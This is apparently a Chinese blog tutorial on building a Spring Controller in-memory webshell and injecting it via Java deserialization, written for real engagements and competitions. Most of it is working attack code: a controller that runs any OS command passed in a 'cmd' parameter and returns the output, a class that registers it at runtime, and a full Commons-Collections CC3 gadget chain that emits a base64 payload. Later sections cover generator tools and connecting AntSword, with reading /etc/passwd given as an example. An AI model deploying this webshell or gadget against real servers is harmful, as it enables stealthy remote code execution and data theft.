0x00 前言
几个月前就学了内存马,把tomcat、spring、Java Agent三种内存马学完之后就不管不顾,并没有用于实战中。真正在打实战才发现,我对内存马的利用只局限于上传jsp文件。
我反思自己为什么会犯这种错误——学之不能致用,一方面说明我的学习是机械的学习,极大的依赖教程,并没有深刻的理解原理;另一方面,就是没有主动想过用内存马打打实战,甚至是靶场也行。
所以本文将从两个维度综合讨论内存马,也就是原理和实战,这里不再赘叙内存马的基础原理,而是让原理为实战控制器。
本文以Spring Conrtoller内存马为例。
0x01 环境
现在比较流行的框架是Spring Boot,所以我选择用Java8 + Spring Boot2.6:

插件带上一个Spring Web,因为本文会结合前端:

Spring Boot各个组件版本如下:
Spring Framework: 5.3.23
Spring Web: 5.3.23
Tomcat: 9.0.68
创建web包,给出hello控制器和反序列化控制器:


0x02 原理
原理说简单也简单,就是把一个恶意组件(本文组件是控制器)打入内存,由于该组件可以被前端调用,我们可以利用该组件随时进行RCE。
内存马的优点有二,一是注入到内存中,常规方法难以发现,在此基础上更近一步的是不死马;二是可以在不出网不回显的情况下于请求包中构造回显,扩大了攻击面。
回到原理。我们要想成功利用Spring Controller内存马进行RCE并把内容回显到响应体,必须满足以下条件:
得到当前的上下文,也就是WebApplicationContext。WebApplicationContext 是 Spring Boot Web 控制器的运行时环境,通过它,我们就可以把Controller内存马动态注册到当前的Web控制器。
实现Controller内存马,该控制器给出一个方法/路由接受恶意参数并返回目标数据到响应包。
写一段Java程序,把内存马注册到WebApplicationContext里,使得当前的Web控制器可以找到该Controller。
事实上,这三步可以整合到一个类的静态代码块,那么只要该类被加载,静态代码块里的内容就会自动执行内存马。在Java反序列化中,TemplatesImpl类可以加载实现了AbstractTranslet接口的类,前面说的三合一类实现该接口就可以了。
0x03 POC
构造EvilController
我们不妨先构造一个简单的恶意控制器(EvilController),也就是内存马的核心部分,通过该控制器,我们给出一个POST参数cmd,就可以让系统执行cmd并将结果回显到响应包。代码如下:

注意这几行代码:
java.io.PrintWriter printWriter = response.getWriter(); :获取HTTP响应的PrintWriter对象,之后把执行命令之后的输出读入到响应体
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); :这里的builder.start()就是在执行系统命令。
现在我们得到了一个可以被利用的恶意控制器,但是该控制器并没有被注册到Spring Boot的Web服务配置中,那么当我们前端访问evilserver路由时,系统找不到对应的控制器。
注册EvilController
注册谁,注册到哪里,怎么注册?注册EvilController,注册到Web服务,至于注册方法,由于专业性较强,我稍微介绍即可。
在Spring MVC框架中,RequestMappingHandlerMapping类可以注册Controller,想要获得前者,需要通过ApplicationContext获取,而WebApplicationContext的获取有好几种方法,我下面就拿一种分析:
1 2
| WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
|
然后我们获得RequestMappingHandlerMapping类:
1 2
| RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
|
接着我们把Controller注册到RequestMappingHandlerMapping里即可:
1 2 3 4 5 6 7 8 9
| Method method = (Class.forName("me.landgrey.SSOLogin").getDeclaredMethods())[0];
PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); r.registerMapping(info, Class.forName("evilController").newInstance(), method);
|
现在我们要把代码整合起来,却发现一个问题,这行代码一定要运行在Web服务里才能得到WebApplicationContext:
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
所以接下来有两种思路:
- 单独写一个class被反序列化加载类,触发静态代码块执行注册流程
- 把这段代码就放在EvilController的静态代码块里,因为静态代码块是最新被执行的,所以就相当与先获得WebApplicationContext再进行后面流程
选择第一种,那我们需要单独构造一个类,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package com.upgraded.test;
import com.sun.org.apache.bcel.internal.generic.ATHROW; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.ContextLoader; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition; import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;
public class Register extends AbstractTranslet { static { WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext(); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = null; try { method = (Class.forName("com.upgraded.web.evilController").getDeclaredMethods())[0]; } catch (ClassNotFoundException e) { throw new RuntimeException(e); } PatternsRequestCondition url = new PatternsRequestCondition("/evilserver"); RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null); try { r.registerMapping(info, Class.forName("com.upgraded.web.evilController").newInstance(), method); } catch (InstantiationException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
选择第二种,就把该类换成EvilController,再往静态代码块里添加注册流程就可以了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| package com.upgraded.web;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.context.request.ServletRequestAttributes; import org.springframework.web.servlet.mvc.method.RequestMappingInfo; import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping; import org.springframework.web.servlet.support.RequestContextUtils;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.Serializable; import java.lang.reflect.Method;
public class EvilController extends AbstractTranslet implements Serializable{ static { WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class); Method method = null; try { for (Method m : Class.forName("com.upgraded.web.EvilController").getDeclaredMethods()) { if ("evilServer".equals(m.getName())) { method = m; break; } } } catch (ClassNotFoundException e) { throw new RuntimeException(e); } RequestMappingInfo.BuilderConfiguration config = new RequestMappingInfo.BuilderConfiguration(); config.setPatternParser(r.getPatternParser()); RequestMappingInfo info = RequestMappingInfo .paths("/evilserver") .methods(RequestMethod.GET, RequestMethod.POST) .options(config) .build(); try { r.registerMapping(info, Class.forName("com.upgraded.web.EvilController").newInstance(), method); } catch (InstantiationException e) { throw new RuntimeException(e); } catch (IllegalAccessException e) { throw new RuntimeException(e); } catch (ClassNotFoundException e) { throw new RuntimeException(e); } }
@ResponseBody public String evilServer(HttpServletRequest request, HttpServletResponse response, @RequestParam("cmd") String cmd) throws Exception{ if (cmd != null) { try { java.io.PrintWriter printWriter = response.getWriter(); ProcessBuilder builder; if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd}); } else { builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd}); } BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream())); String s = bufferedReader.readLine(); printWriter.println(s); printWriter.flush(); printWriter.close(); } catch (Exception e) { e.printStackTrace(); } } return "over"; }
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
} }
|
接下来就写一个cc3链,其被Web服务里的unser路由接收后,会进行Java反序列化,其中会把EvilController类进行类加载,先触发其静态代码块,其中便注册了EvilController内存马。
先添加依赖:
1 2 3 4 5
| <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
|
写出gadget:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| package com.upgraded.test;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
import java.util.Base64;
import static org.springframework.util.SerializationUtils.serialize;
public class CC3_payload { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class TemplatesImplClass = templates.getClass(); Field nameField = TemplatesImplClass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "_nameIsHere");
Field bytecodesField = TemplatesImplClass.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:/all_test/test_java/com/MeHorses/upgraded/target/classes/com/upgraded/web/EvilController.class")); byte[][] codes = new byte[][]{code}; bytecodesField.set(templates, codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class annotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotationInvocationHandlerConstructor = annotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class); annotationInvocationHandlerConstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap);
byte[] serialize = serialize(annotationInvocationHandler); System.out.println(Base64.getEncoder().encodeToString(serialize));
}
public static <T> byte[] serialize(T o) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream); out.writeObject(o); return byteArrayOutputStream.toByteArray(); }
public static <T> T deserialize(byte[] ser) throws Exception { ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(ser)); return (T) in.readObject(); }
}
|
在实战中,如果一个反序列化入口没有回显也不能出网,我们就可以运行CC3_payload,把base64编码后的payload喂给反序列化入口,后端会从解码后的payload中类加载EvilController,后者的静态代码块执行,该Controller被成功注册,我们最后访问/evilserver,传参cmd即可。结果如下:

在实战中,我们可以cat /etc/passwd等等,最后的输出回到响应体。
其实在编写POC的时候遇到很多错误,大致有下,具体就不展开说说了:
- Spring Boot 不使用传统的 ContextLoaderListener,需要从请求上下文获取 WebApplicationContext
- Spring 5.3+ 手动注册路由必须配置 PatternParser
- 修改源码后必须重新编译,否则读取的还是旧字节码
- 方法选择要明确指定名称,不能依赖数组索引顺序
0x04 工具
我们现在可以构造Spring Controller内存马,对比一下也能搞出其他类型的内存马,然后就可以集成为一个工具。出于时间考量,我在短期内并没有集成的想法。但是比赛的时候需要用到内存马,我没有时间慢慢思考调试,所以我需要找到可以快速生成内存马,以及可以把内存马用到Java其他漏洞上的工具。
我最先看到了这个比较有名的工具:pen4uin/java-memshell-generator: 一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.

这个工具可以很方便的构造内存马,暂且不管密钥,密码和请求头键值对的设计都是为了增加内存马的隐秘性。但是这个工具存在一个问题,就是不能直接对接Java反序列化,我们必须把编码后的数据再放入TemplatesImpl里。
说到Java反序列化工具,我想起Java Chains,正好我记得其可以对接内存马,一看还真是对接了这个工具,具体参数如下:

拿上面的反序列化入口试试:


AntSwort添加连接:


成功连上:

0x05 深入
要想搞懂内存马,只了解一个Spring Controller内存马是不够的。正好借着这次学习的机会,搞一个属于自己的内存马+反序列化 EXP。
Java Agent内存马
我发现Java Chains似乎没有内置Java Agent内存马,正好我也忘记的差不多了,就先从Java Agent内存马开始。